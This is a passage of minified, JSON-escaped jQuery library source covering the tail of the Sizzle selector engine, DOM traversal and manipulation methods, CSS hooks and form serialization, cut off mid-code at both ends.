d=[],e=c?0:1,f=a.length;for(;e\u003cf;e=e+2)d.push(a[e]);return d},lt:function(a,b,c){return c?a.slice(+b):a.slice(0,+b)},gt:function(a,b,c){return c?a.slice(0,+b+1):a.slice(+b+1)},eq:function(a,b,c){var d=a.splice(+b,1);return c?a:d}}};$.setFilters.nth=$.setFilters.eq,$.filters=$.pseudos,X||($.attrHandle={href:function(a){return a.getAttribute(\"href\",2)},type:function(a){return a.getAttribute(\"type\")}}),V\u0026\u0026($.order.push(\"NAME\"),$.find.NAME=function(a,b){if(typeof b.getElementsByName!==j)return b.getElementsByName(a)}),Y\u0026\u0026($.order.splice(1,0,\"CLASS\"),$.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!==j\u0026\u0026!c)return b.getElementsByClassName(a)});try{n.call(i.childNodes,0)[0].nodeType}catch(_){n=function(a){var b,c=[];for(;b=this[a];a++)c.push(b);return c}}var ba=Z.isXML=function(a){var b=a\u0026\u0026(a.ownerDocument||a).documentElement;return b?b.nodeName!==\"HTML\":!1},bb=Z.contains=i.compareDocumentPosition?function(a,b){return!!(a.compareDocumentPosition(b)\u002616)}:i.contains?function(a,b){var c=a.nodeType===9?a.documentElement:a,d=b.parentNode;return a===d||!!(d\u0026\u0026d.nodeType===1\u0026\u0026c.contains\u0026\u0026c.contains(d))}:function(a,b){while(b=b.parentNode)if(b===a)return!0;return!1},bc=Z.getText=function(a){var b,c=\"\",d=0,e=a.nodeType;if(e){if(e===1||e===9||e===11){if(typeof a.textContent==\"string\")return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=bc(a)}else if(e===3||e===4)return a.nodeValue}else for(;b=a[d];d++)c+=bc(b);return c};Z.attr=function(a,b){var c,d=ba(a);return d||(b=b.toLowerCase()),$.attrHandle[b]?$.attrHandle[b](a):U||d?a.getAttribute(b):(c=a.getAttributeNode(b),c?typeof a[b]==\"boolean\"?a[b]?b:null:c.specified?c.value:null:null)},Z.error=function(a){throw new Error(\"Syntax error, unrecognized expression: \"+a)},[0,0].sort(function(){return l=0}),i.compareDocumentPosition?e=function(a,b){return a===b?(k=!0,0):(!a.compareDocumentPosition||!b.compareDocumentPosition?a.compareDocumentPosition:a.compareDocumentPosition(b)\u00264)?-1:1}:(e=function(a,b){if(a===b)return k=!0,0;if(a.sourceIndex\u0026\u0026b.sourceIndex)return a.sourceIndex-b.sourceIndex;var c,d,e=[],g=[],h=a.parentNode,i=b.parentNode,j=h;if(h===i)return f(a,b);if(!h)return-1;if(!i)return 1;while(j)e.unshift(j),j=j.parentNode;j=i;while(j)g.unshift(j),j=j.parentNode;c=e.length,d=g.length;for(var l=0;l\u003cc\u0026\u0026l\u003cd;l++)if(e[l]!==g[l])return f(e[l],g[l]);return l===c?f(a,g[l],-1):f(e[l],b,1)},f=function(a,b,c){if(a===b)return c;var d=a.nextSibling;while(d){if(d===b)return-1;d=d.nextSibling}return 1}),Z.uniqueSort=function(a){var b,c=1;if(e){k=l,a.sort(e);if(k)for(;b=a[c];c++)b===a[c-1]\u0026\u0026a.splice(c--,1)}return a};var bl=Z.compile=function(a,b,c){var d,e,f,g=O[a];if(g\u0026\u0026g.context===b)return g;e=bg(a,b,c);for(f=0;d=e[f];f++)e[f]=bj(d,b,c);return g=O[a]=bk(e),g.context=b,g.runs=g.dirruns=0,P.push(a),P.length\u003e$.cacheLength\u0026\u0026delete O[P.shift()],g};Z.matches=function(a,b){return Z(a,null,null,b)},Z.matchesSelector=function(a,b){return Z(b,null,null,[a]).length\u003e0};var bm=function(a,b,e,f,g){a=a.replace(A,\"$1\");var h,i,j,k,l,m,p,q,r,s=a.match(C),t=a.match(E),u=b.nodeType;if(L.POS.test(a))return bf(a,b,e,f,s);if(f)h=n.call(f,0);else if(s\u0026\u0026s.length===1){if(t.length\u003e1\u0026\u0026u===9\u0026\u0026!g\u0026\u0026(s=L.ID.exec(t[0]))){b=$.find.ID(s[1],b,g)[0];if(!b)return e;a=a.slice(t.shift().length)}q=(s=G.exec(t[0]))\u0026\u0026!s.index\u0026\u0026b.parentNode||b,r=t.pop(),m=r.split(\":not\")[0];for(j=0,k=$.order.length;j\u003ck;j++){p=$.order[j];if(s=L[p].exec(m)){h=$.find[p]((s[1]||\"\").replace(K,\"\"),q,g);if(h==null)continue;m===r\u0026\u0026(a=a.slice(0,a.length-r.length)+m.replace(L[p],\"\"),a||o.apply(e,n.call(h,0)));break}}}if(a){i=bl(a,b,g),d=i.dirruns++,h==null\u0026\u0026(h=$.find.TAG(\"*\",G.test(a)\u0026\u0026b.parentNode||b));for(j=0;l=h[j];j++)c=i.runs++,i(l,b)\u0026\u0026e.push(l)}return e};h.querySelectorAll\u0026\u0026function(){var a,b=bm,c=/'|\\\\/g,d=/\\=[\\x20\\t\\r\\n\\f]*([^'\"\\]]*)[\\x20\\t\\r\\n\\f]*\\]/g,e=[],f=[\":active\"],g=i.matchesSelector||i.mozMatchesSelector||i.webkitMatchesSelector||i.oMatchesSelector||i.msMatchesSelector;T(function(a){a.innerHTML=\"\u003cselect\u003e\u003coption selected\u003e\u003c/option\u003e\u003c/select\u003e\",a.querySelectorAll(\"[selected]\").length||e.push(\"\\\\[\"+r+\"*(?:checked|disabled|ismap|multiple|readonly|selected|value)\"),a.querySelectorAll(\":checked\").length||e.push(\":checked\")}),T(function(a){a.innerHTML=\"\u003cp test=''\u003e\u003c/p\u003e\",a.querySelectorAll(\"[test^='']\").length\u0026\u0026e.push(\"[*^$]=\"+r+\"*(?:\\\"\\\"|'')\"),a.innerHTML=\"\u003cinput type='hidden'\u003e\",a.querySelectorAll(\":enabled\").length||e.push(\":enabled\",\":disabled\")}),e=e.length\u0026\u0026new RegExp(e.join(\"|\")),bm=function(a,d,f,g,h){if(!g\u0026\u0026!h\u0026\u0026(!e||!e.test(a)))if(d.nodeType===9)try{return o.apply(f,n.call(d.querySelectorAll(a),0)),f}catch(i){}else if(d.nodeType===1\u0026\u0026d.nodeName.toLowerCase()!==\"object\"){var j=d.getAttribute(\"id\"),k=j||q,l=G.test(a)\u0026\u0026d.parentNode||d;j?k=k.replace(c,\"\\\\$\u0026\"):d.setAttribute(\"id\",k);try{return o.apply(f,n.call(l.querySelectorAll(a.replace(C,\"[id='\"+k+\"'] $\u0026\")),0)),f}catch(i){}finally{j||d.removeAttribute(\"id\")}}return b(a,d,f,g,h)},g\u0026\u0026(T(function(b){a=g.call(b,\"div\");try{g.call(b,\"[test!='']:sizzle\"),f.push($.match.PSEUDO)}catch(c){}}),f=new RegExp(f.join(\"|\")),Z.matchesSelector=function(b,c){c=c.replace(d,\"='$1']\");if(!ba(b)\u0026\u0026!f.test(c)\u0026\u0026(!e||!e.test(c)))try{var h=g.call(b,c);if(h||a||b.document\u0026\u0026b.document.nodeType!==11)return h}catch(i){}return Z(c,null,null,[b]).length\u003e0})}(),Z.attr=p.attr,p.find=Z,p.expr=Z.selectors,p.expr[\":\"]=p.expr.pseudos,p.unique=Z.uniqueSort,p.text=Z.getText,p.isXMLDoc=Z.isXML,p.contains=Z.contains}(a);var bc=/Until$/,bd=/^(?:parents|prev(?:Until|All))/,be=/^.[^:#\\[\\.,]*$/,bf=p.expr.match.needsContext,bg={children:!0,contents:!0,next:!0,prev:!0};p.fn.extend({find:function(a){var b,c,d,e,f,g,h=this;if(typeof a!=\"string\")return p(a).filter(function(){for(b=0,c=h.length;b\u003cc;b++)if(p.contains(h[b],this))return!0});g=this.pushStack(\"\",\"find\",a);for(b=0,c=this.length;b\u003cc;b++){d=g.length,p.find(a,this[b],g);if(b\u003e0)for(e=d;e\u003cg.length;e++)for(f=0;f\u003cd;f++)if(g[f]===g[e]){g.splice(e--,1);break}}return g},has:function(a){var b,c=p(a,this),d=c.length;return this.filter(function(){for(b=0;b\u003cd;b++)if(p.contains(this,c[b]))return!0})},not:function(a){return this.pushStack(bj(this,a,!1),\"not\",a)},filter:function(a){return this.pushStack(bj(this,a,!0),\"filter\",a)},is:function(a){return!!a\u0026\u0026(typeof a==\"string\"?bf.test(a)?p(a,this.context).index(this[0])\u003e=0:p.filter(a,this).length\u003e0:this.filter(a).length\u003e0)},closest:function(a,b){var c,d=0,e=this.length,f=[],g=bf.test(a)||typeof a!=\"string\"?p(a,b||this.context):0;for(;d\u003ce;d++){c=this[d];while(c\u0026\u0026c.ownerDocument\u0026\u0026c!==b\u0026\u0026c.nodeType!==11){if(g?g.index(c)\u003e-1:p.find.matchesSelector(c,a)){f.push(c);break}c=c.parentNode}}return f=f.length\u003e1?p.unique(f):f,this.pushStack(f,\"closest\",a)},index:function(a){return a?typeof a==\"string\"?p.inArray(this[0],p(a)):p.inArray(a.jquery?a[0]:a,this):this[0]\u0026\u0026this[0].parentNode?this.prevAll().length:-1},add:function(a,b){var c=typeof a==\"string\"?p(a,b):p.makeArray(a\u0026\u0026a.nodeType?[a]:a),d=p.merge(this.get(),c);return this.pushStack(bh(c[0])||bh(d[0])?d:p.unique(d))},addBack:function(a){return this.add(a==null?this.prevObject:this.prevObject.filter(a))}}),p.fn.andSelf=p.fn.addBack,p.each({parent:function(a){var b=a.parentNode;return b\u0026\u0026b.nodeType!==11?b:null},parents:function(a){return p.dir(a,\"parentNode\")},parentsUntil:function(a,b,c){return p.dir(a,\"parentNode\",c)},next:function(a){return bi(a,\"nextSibling\")},prev:function(a){return bi(a,\"previousSibling\")},nextAll:function(a){return p.dir(a,\"nextSibling\")},prevAll:function(a){return p.dir(a,\"previousSibling\")},nextUntil:function(a,b,c){return p.dir(a,\"nextSibling\",c)},prevUntil:function(a,b,c){return p.dir(a,\"previousSibling\",c)},siblings:function(a){return p.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return p.sibling(a.firstChild)},contents:function(a){return p.nodeName(a,\"iframe\")?a.contentDocument||a.contentWindow.document:p.merge([],a.childNodes)}},function(a,b){p.fn[a]=function(c,d){var e=p.map(this,b,c);return bc.test(a)||(d=c),d\u0026\u0026typeof d==\"string\"\u0026\u0026(e=p.filter(d,e)),e=this.length\u003e1\u0026\u0026!bg[a]?p.unique(e):e,this.length\u003e1\u0026\u0026bd.test(a)\u0026\u0026(e=e.reverse()),this.pushStack(e,a,k.call(arguments).join(\",\"))}}),p.extend({filter:function(a,b,c){return c\u0026\u0026(a=\":not(\"+a+\")\"),b.length===1?p.find.matchesSelector(b[0],a)?[b[0]]:[]:p.find.matches(a,b)},dir:function(a,c,d){var e=[],f=a[c];while(f\u0026\u0026f.nodeType!==9\u0026\u0026(d===b||f.nodeType!==1||!p(f).is(d)))f.nodeType===1\u0026\u0026e.push(f),f=f[c];return e},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1\u0026\u0026a!==b\u0026\u0026c.push(a);return c}});var bl=\"abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video\",bm=/ jQuery\\d+=\"(?:null|\\d+)\"/g,bn=/^\\s+/,bo=/\u003c(?!area|br|col|embed|hr|img|input|link|meta|param)(([\\w:]+)[^\u003e]*)\\/\u003e/gi,bp=/\u003c([\\w:]+)/,bq=/\u003ctbody/i,br=/\u003c|\u0026#?\\w+;/,bs=/\u003c(?:script|style|link)/i,bt=/\u003c(?:script|object|embed|option|style)/i,bu=new RegExp(\"\u003c(?:\"+bl+\")[\\\\s/\u003e]\",\"i\"),bv=/^(?:checkbox|radio)$/,bw=/checked\\s*(?:[^=]|=\\s*.checked.)/i,bx=/\\/(java|ecma)script/i,by=/^\\s*\u003c!(?:\\[CDATA\\[|\\-\\-)|[\\]\\-]{2}\u003e\\s*$/g,bz={option:[1,\"\u003cselect multiple='multiple'\u003e\",\"\u003c/select\u003e\"],legend:[1,\"\u003cfieldset\u003e\",\"\u003c/fieldset\u003e\"],thead:[1,\"\u003ctable\u003e\",\"\u003c/table\u003e\"],tr:[2,\"\u003ctable\u003e\u003ctbody\u003e\",\"\u003c/tbody\u003e\u003c/table\u003e\"],td:[3,\"\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\",\"\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\"],col:[2,\"\u003ctable\u003e\u003ctbody\u003e\u003c/tbody\u003e\u003ccolgroup\u003e\",\"\u003c/colgroup\u003e\u003c/table\u003e\"],area:[1,\"\u003cmap\u003e\",\"\u003c/map\u003e\"],_default:[0,\"\",\"\"]},bA=bk(e),bB=bA.appendChild(e.createElement(\"div\"));bz.optgroup=bz.option,bz.tbody=bz.tfoot=bz.colgroup=bz.caption=bz.thead,bz.th=bz.td,p.support.htmlSerialize||(bz._default=[1,\"X\u003cdiv\u003e\",\"\u003c/div\u003e\"]),p.fn.extend({text:function(a){return p.access(this,function(a){return a===b?p.text(this):this.empty().append((this[0]\u0026\u0026this[0].ownerDocument||e).createTextNode(a))},null,a,arguments.length)},wrapAll:function(a){if(p.isFunction(a))return this.each(function(b){p(this).wrapAll(a.call(this,b))});if(this[0]){var b=p(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode\u0026\u0026b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild\u0026\u0026a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){return p.isFunction(a)?this.each(function(b){p(this).wrapInner(a.call(this,b))}):this.each(function(){var b=p(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=p.isFunction(a);return this.each(function(c){p(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){p.nodeName(this,\"body\")||p(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){(this.nodeType===1||this.nodeType===11)\u0026\u0026this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){(this.nodeType===1||this.nodeType===11)\u0026\u0026this.insertBefore(a,this.firstChild)})},before:function(){if(!bh(this[0]))return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=p.clean(arguments);return this.pushStack(p.merge(a,this),\"before\",this.selector)}},after:function(){if(!bh(this[0]))return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=p.clean(arguments);return this.pushStack(p.merge(this,a),\"after\",this.selector)}},remove:function(a,b){var c,d=0;for(;(c=this[d])!=null;d++)if(!a||p.filter(a,[c]).length)!b\u0026\u0026c.nodeType===1\u0026\u0026(p.cleanData(c.getElementsByTagName(\"*\")),p.cleanData([c])),c.parentNode\u0026\u0026c.parentNode.removeChild(c);return this},empty:function(){var a,b=0;for(;(a=this[b])!=null;b++){a.nodeType===1\u0026\u0026p.cleanData(a.getElementsByTagName(\"*\"));while(a.firstChild)a.removeChild(a.firstChild)}return this},clone:function(a,b){return a=a==null?!1:a,b=b==null?a:b,this.map(function(){return p.clone(this,a,b)})},html:function(a){return p.access(this,function(a){var c=this[0]||{},d=0,e=this.length;if(a===b)return c.nodeType===1?c.innerHTML.replace(bm,\"\"):b;if(typeof a==\"string\"\u0026\u0026!bs.test(a)\u0026\u0026(p.support.htmlSerialize||!bu.test(a))\u0026\u0026(p.support.leadingWhitespace||!bn.test(a))\u0026\u0026!bz[(bp.exec(a)||[\"\",\"\"])[1].toLowerCase()]){a=a.replace(bo,\"\u003c$1\u003e\u003c/$2\u003e\");try{for(;d\u003ce;d++)c=this[d]||{},c.nodeType===1\u0026\u0026(p.cleanData(c.getElementsByTagName(\"*\")),c.innerHTML=a);c=0}catch(f){}}c\u0026\u0026this.empty().append(a)},null,a,arguments.length)},replaceWith:function(a){return bh(this[0])?this.length?this.pushStack(p(p.isFunction(a)?a():a),\"replaceWith\",a):this:p.isFunction(a)?this.each(function(b){var c=p(this),d=c.html();c.replaceWith(a.call(this,b,d))}):(typeof a!=\"string\"\u0026\u0026(a=p(a).detach()),this.each(function(){var b=this.nextSibling,c=this.parentNode;p(this).remove(),b?p(b).before(a):p(c).append(a)}))},detach:function(a){return this.remove(a,!0)},domManip:function(a,c,d){a=[].concat.apply([],a);var e,f,g,h,i=0,j=a[0],k=[],l=this.length;if(!p.support.checkClone\u0026\u0026l\u003e1\u0026\u0026typeof j==\"string\"\u0026\u0026bw.test(j))return this.each(function(){p(this).domManip(a,c,d)});if(p.isFunction(j))return this.each(function(e){var f=p(this);a[0]=j.call(this,e,c?f.html():b),f.domManip(a,c,d)});if(this[0]){e=p.buildFragment(a,this,k),g=e.fragment,f=g.firstChild,g.childNodes.length===1\u0026\u0026(g=f);if(f){c=c\u0026\u0026p.nodeName(f,\"tr\");for(h=e.cacheable||l-1;i\u003cl;i++)d.call(c\u0026\u0026p.nodeName(this[i],\"table\")?bC(this[i],\"tbody\"):this[i],i===h?g:p.clone(g,!0,!0))}g=f=null,k.length\u0026\u0026p.each(k,function(a,b){b.src?p.ajax?p.ajax({url:b.src,type:\"GET\",dataType:\"script\",async:!1,global:!1,\"throws\":!0}):p.error(\"no ajax\"):p.globalEval((b.text||b.textContent||b.innerHTML||\"\").replace(by,\"\")),b.parentNode\u0026\u0026b.parentNode.removeChild(b)})}return this}}),p.buildFragment=function(a,c,d){var f,g,h,i=a[0];return c=c||e,c=(c[0]||c).ownerDocument||c[0]||c,typeof c.createDocumentFragment==\"undefined\"\u0026\u0026(c=e),a.length===1\u0026\u0026typeof i==\"string\"\u0026\u0026i.length\u003c512\u0026\u0026c===e\u0026\u0026i.charAt(0)===\"\u003c\"\u0026\u0026!bt.test(i)\u0026\u0026(p.support.checkClone||!bw.test(i))\u0026\u0026(p.support.html5Clone||!bu.test(i))\u0026\u0026(g=!0,f=p.fragments[i],h=f!==b),f||(f=c.createDocumentFragment(),p.clean(a,c,f,d),g\u0026\u0026(p.fragments[i]=h\u0026\u0026f)),{fragment:f,cacheable:g}},p.fragments={},p.each({appendTo:\"append\",prependTo:\"prepend\",insertBefore:\"before\",insertAfter:\"after\",replaceAll:\"replaceWith\"},function(a,b){p.fn[a]=function(c){var d,e=0,f=[],g=p(c),h=g.length,i=this.length===1\u0026\u0026this[0].parentNode;if((i==null||i\u0026\u0026i.nodeType===11\u0026\u0026i.childNodes.length===1)\u0026\u0026h===1)return g[b](this[0]),this;for(;e\u003ch;e++)d=(e\u003e0?this.clone(!0):this).get(),p(g[e])[b](d),f=f.concat(d);return this.pushStack(f,a,g.selector)}}),p.extend({clone:function(a,b,c){var d,e,f,g;p.support.html5Clone||p.isXMLDoc(a)||!bu.test(\"\u003c\"+a.nodeName+\"\u003e\")?g=a.cloneNode(!0):(bB.innerHTML=a.outerHTML,bB.removeChild(g=bB.firstChild));if((!p.support.noCloneEvent||!p.support.noCloneChecked)\u0026\u0026(a.nodeType===1||a.nodeType===11)\u0026\u0026!p.isXMLDoc(a)){bE(a,g),d=bF(a),e=bF(g);for(f=0;d[f];++f)e[f]\u0026\u0026bE(d[f],e[f])}if(b){bD(a,g);if(c){d=bF(a),e=bF(g);for(f=0;d[f];++f)bD(d[f],e[f])}}return d=e=null,g},clean:function(a,b,c,d){var f,g,h,i,j,k,l,m,n,o,q,r,s=0,t=[];if(!b||typeof b.createDocumentFragment==\"undefined\")b=e;for(g=b===e\u0026\u0026bA;(h=a[s])!=null;s++){typeof h==\"number\"\u0026\u0026(h+=\"\");if(!h)continue;if(typeof h==\"string\")if(!br.test(h))h=b.createTextNode(h);else{g=g||bk(b),l=l||g.appendChild(b.createElement(\"div\")),h=h.replace(bo,\"\u003c$1\u003e\u003c/$2\u003e\"),i=(bp.exec(h)||[\"\",\"\"])[1].toLowerCase(),j=bz[i]||bz._default,k=j[0],l.innerHTML=j[1]+h+j[2];while(k--)l=l.lastChild;if(!p.support.tbody){m=bq.test(h),n=i===\"table\"\u0026\u0026!m?l.firstChild\u0026\u0026l.firstChild.childNodes:j[1]===\"\u003ctable\u003e\"\u0026\u0026!m?l.childNodes:[];for(f=n.length-1;f\u003e=0;--f)p.nodeName(n[f],\"tbody\")\u0026\u0026!n[f].childNodes.length\u0026\u0026n[f].parentNode.removeChild(n[f])}!p.support.leadingWhitespace\u0026\u0026bn.test(h)\u0026\u0026l.insertBefore(b.createTextNode(bn.exec(h)[0]),l.firstChild),h=l.childNodes,l=g.lastChild}h.nodeType?t.push(h):t=p.merge(t,h)}l\u0026\u0026(g.removeChild(l),h=l=g=null);if(!p.support.appendChecked)for(s=0;(h=t[s])!=null;s++)p.nodeName(h,\"input\")?bG(h):typeof h.getElementsByTagName!=\"undefined\"\u0026\u0026p.grep(h.getElementsByTagName(\"input\"),bG);if(c){q=function(a){if(!a.type||bx.test(a.type))return d?d.push(a.parentNode?a.parentNode.removeChild(a):a):c.appendChild(a)};for(s=0;(h=t[s])!=null;s++)if(!p.nodeName(h,\"script\")||!q(h))c.appendChild(h),typeof h.getElementsByTagName!=\"undefined\"\u0026\u0026(r=p.grep(p.merge([],h.getElementsByTagName(\"script\")),q),t.splice.apply(t,[s+1,0].concat(r)),s+=r.length)}return t},cleanData:function(a,b){var c,d,e,f,g=0,h=p.expando,i=p.cache,j=p.support.deleteExpando,k=p.event.special;for(;(e=a[g])!=null;g++)if(b||p.acceptData(e)){d=e[h],c=d\u0026\u0026i[d];if(c){if(c.events)for(f in c.events)k[f]?p.event.remove(e,f):p.removeEvent(e,f,c.handle);i[d]\u0026\u0026(delete i[d],j?delete e[h]:e.removeAttribute?e.removeAttribute(h):e[h]=null,p.deletedIds.push(d))}}}}),function(){var a,b;p.uaMatch=function(a){a=a.toLowerCase();var b=/(chrome)[ \\/]([\\w.]+)/.exec(a)||/(webkit)[ \\/]([\\w.]+)/.exec(a)||/(opera)(?:.*version|)[ \\/]([\\w.]+)/.exec(a)||/(msie) ([\\w.]+)/.exec(a)||a.indexOf(\"compatible\")\u003c0\u0026\u0026/(mozilla)(?:.*? rv:([\\w.]+)|)/.exec(a)||[];return{browser:b[1]||\"\",version:b[2]||\"0\"}},a=p.uaMatch(g.userAgent),b={},a.browser\u0026\u0026(b[a.browser]=!0,b.version=a.version),b.webkit\u0026\u0026(b.safari=!0),p.browser=b,p.sub=function(){function a(b,c){return new a.fn.init(b,c)}p.extend(!0,a,this),a.superclass=this,a.fn=a.prototype=this(),a.fn.constructor=a,a.sub=this.sub,a.fn.init=function c(c,d){return d\u0026\u0026d instanceof p\u0026\u0026!(d instanceof a)\u0026\u0026(d=a(d)),p.fn.init.call(this,c,d,b)},a.fn.init.prototype=a.fn;var b=a(e);return a}}();var bH,bI,bJ,bK=/alpha\\([^)]*\\)/i,bL=/opacity=([^)]*)/,bM=/^(top|right|bottom|left)$/,bN=/^margin/,bO=new RegExp(\"^(\"+q+\")(.*)$\",\"i\"),bP=new RegExp(\"^(\"+q+\")(?!px)[a-z%]+$\",\"i\"),bQ=new RegExp(\"^([-+])=(\"+q+\")\",\"i\"),bR={},bS={position:\"absolute\",visibility:\"hidden\",display:\"block\"},bT={letterSpacing:0,fontWeight:400,lineHeight:1},bU=[\"Top\",\"Right\",\"Bottom\",\"Left\"],bV=[\"Webkit\",\"O\",\"Moz\",\"ms\"],bW=p.fn.toggle;p.fn.extend({css:function(a,c){return p.access(this,function(a,c,d){return d!==b?p.style(a,c,d):p.css(a,c)},a,c,arguments.length\u003e1)},show:function(){return bZ(this,!0)},hide:function(){return bZ(this)},toggle:function(a,b){var c=typeof a==\"boolean\";return p.isFunction(a)\u0026\u0026p.isFunction(b)?bW.apply(this,arguments):this.each(function(){(c?a:bY(this))?p(this).show():p(this).hide()})}}),p.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=bH(a,\"opacity\");return c===\"\"?\"1\":c}}}},cssNumber:{fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{\"float\":p.support.cssFloat?\"cssFloat\":\"styleFloat\"},style:function(a,c,d,e){if(!a||a.nodeType===3||a.nodeType===8||!a.style)return;var f,g,h,i=p.camelCase(c),j=a.style;c=p.cssProps[i]||(p.cssProps[i]=bX(j,i)),h=p.cssHooks[c]||p.cssHooks[i];if(d===b)return h\u0026\u0026\"get\"in h\u0026\u0026(f=h.get(a,!1,e))!==b?f:j[c];g=typeof d,g===\"string\"\u0026\u0026(f=bQ.exec(d))\u0026\u0026(d=(f[1]+1)*f[2]+parseFloat(p.css(a,c)),g=\"number\");if(d==null||g===\"number\"\u0026\u0026isNaN(d))return;g===\"number\"\u0026\u0026!p.cssNumber[i]\u0026\u0026(d+=\"px\");if(!h||!(\"set\"in h)||(d=h.set(a,d,e))!==b)try{j[c]=d}catch(k){}},css:function(a,c,d,e){var f,g,h,i=p.camelCase(c);return c=p.cssProps[i]||(p.cssProps[i]=bX(a.style,i)),h=p.cssHooks[c]||p.cssHooks[i],h\u0026\u0026\"get\"in h\u0026\u0026(f=h.get(a,!0,e)),f===b\u0026\u0026(f=bH(a,c)),f===\"normal\"\u0026\u0026c in bT\u0026\u0026(f=bT[c]),d||e!==b?(g=parseFloat(f),d||p.isNumeric(g)?g||0:f):f},swap:function(a,b,c){var d,e,f={};for(e in b)f[e]=a.style[e],a.style[e]=b[e];d=c.call(a);for(e in b)a.style[e]=f[e];return d}}),a.getComputedStyle?bH=function(a,b){var c,d,e,f,g=getComputedStyle(a,null),h=a.style;return g\u0026\u0026(c=g[b],c===\"\"\u0026\u0026!p.contains(a.ownerDocument.documentElement,a)\u0026\u0026(c=p.style(a,b)),bP.test(c)\u0026\u0026bN.test(b)\u0026\u0026(d=h.width,e=h.minWidth,f=h.maxWidth,h.minWidth=h.maxWidth=h.width=c,c=g.width,h.width=d,h.minWidth=e,h.maxWidth=f)),c}:e.documentElement.currentStyle\u0026\u0026(bH=function(a,b){var c,d,e=a.currentStyle\u0026\u0026a.currentStyle[b],f=a.style;return e==null\u0026\u0026f\u0026\u0026f[b]\u0026\u0026(e=f[b]),bP.test(e)\u0026\u0026!bM.test(b)\u0026\u0026(c=f.left,d=a.runtimeStyle\u0026\u0026a.runtimeStyle.left,d\u0026\u0026(a.runtimeStyle.left=a.currentStyle.left),f.left=b===\"fontSize\"?\"1em\":e,e=f.pixelLeft+\"px\",f.left=c,d\u0026\u0026(a.runtimeStyle.left=d)),e===\"\"?\"auto\":e}),p.each([\"height\",\"width\"],function(a,b){p.cssHooks[b]={get:function(a,c,d){if(c)return a.offsetWidth!==0||bH(a,\"display\")!==\"none\"?ca(a,b,d):p.swap(a,bS,function(){return ca(a,b,d)})},set:function(a,c,d){return b$(a,c,d?b_(a,b,d,p.support.boxSizing\u0026\u0026p.css(a,\"boxSizing\")===\"border-box\"):0)}}}),p.support.opacity||(p.cssHooks.opacity={get:function(a,b){return bL.test((b\u0026\u0026a.currentStyle?a.currentStyle.filter:a.style.filter)||\"\")?.01*parseFloat(RegExp.$1)+\"\":b?\"1\":\"\"},set:function(a,b){var c=a.style,d=a.currentStyle,e=p.isNumeric(b)?\"alpha(opacity=\"+b*100+\")\":\"\",f=d\u0026\u0026d.filter||c.filter||\"\";c.zoom=1;if(b\u003e=1\u0026\u0026p.trim(f.replace(bK,\"\"))===\"\"\u0026\u0026c.removeAttribute){c.removeAttribute(\"filter\");if(d\u0026\u0026!d.filter)return}c.filter=bK.test(f)?f.replace(bK,e):f+\" \"+e}}),p(function(){p.support.reliableMarginRight||(p.cssHooks.marginRight={get:function(a,b){return p.swap(a,{display:\"inline-block\"},function(){if(b)return bH(a,\"marginRight\")})}}),!p.support.pixelPosition\u0026\u0026p.fn.position\u0026\u0026p.each([\"top\",\"left\"],function(a,b){p.cssHooks[b]={get:function(a,c){if(c){var d=bH(a,b);return bP.test(d)?p(a).position()[b]+\"px\":d}}}})}),p.expr\u0026\u0026p.expr.filters\u0026\u0026(p.expr.filters.hidden=function(a){return a.offsetWidth===0\u0026\u0026a.offsetHeight===0||!p.support.reliableHiddenOffsets\u0026\u0026(a.style\u0026\u0026a.style.display||bH(a,\"display\"))===\"none\"},p.expr.filters.visible=function(a){return!p.expr.filters.hidden(a)}),p.each({margin:\"\",padding:\"\",border:\"Width\"},function(a,b){p.cssHooks[a+b]={expand:function(c){var d,e=typeof c==\"string\"?c.split(\" \"):[c],f={};for(d=0;d\u003c4;d++)f[a+bU[d]+b]=e[d]||e[d-2]||e[0];return f}},bN.test(a)||(p.cssHooks[a+b].set=b$)});var cc=/%20/g,cd=/\\[\\]$/,ce=/\\r?\\n/g,cf=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,cg=/^(?:select|textarea)/i;p.fn.extend({serialize:function(){return p.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?p.makeArray(this.elements):this}).filter(function(){return this.name\u0026\u0026!this.disabled\u0026\u0026(this.checked||cg.test(this.nodeName)||cf.test(this.type))}).map(function(a,b){var c=p(this).val();return c==null?null:p.isArray(c)?p.map(c,function(a,c){return{name:b.name,value:a.replace(ce,\"\\r\\n\")}}):{name:b.name,value:c.replace(ce,\"\\r\\n\")}}).get()}}),p.param=function(a,c){var d,e=[],f=function(a,b){b=p.isFunction(b)?b():b==null?\"\":b,e[e.length]=encodeURIComponent(a)+\"=\"+encodeURIComponent(b)};c===b\u0026\u0026(c=p.ajaxSettings\u0026\u0026p.ajaxSettings.traditional);if(p.isArray(a)||a.jquery\u0026\u0026!p.isPlainObject(a))p.each(a,function(){f(this.name,this.value)});else for(d in a)ch(d,a[d],c,f);return e.join(\"\u0026\").replace(cc,\"+\")};var ci,cj,ck=/#.*$/,cl=/^(.*?):[ 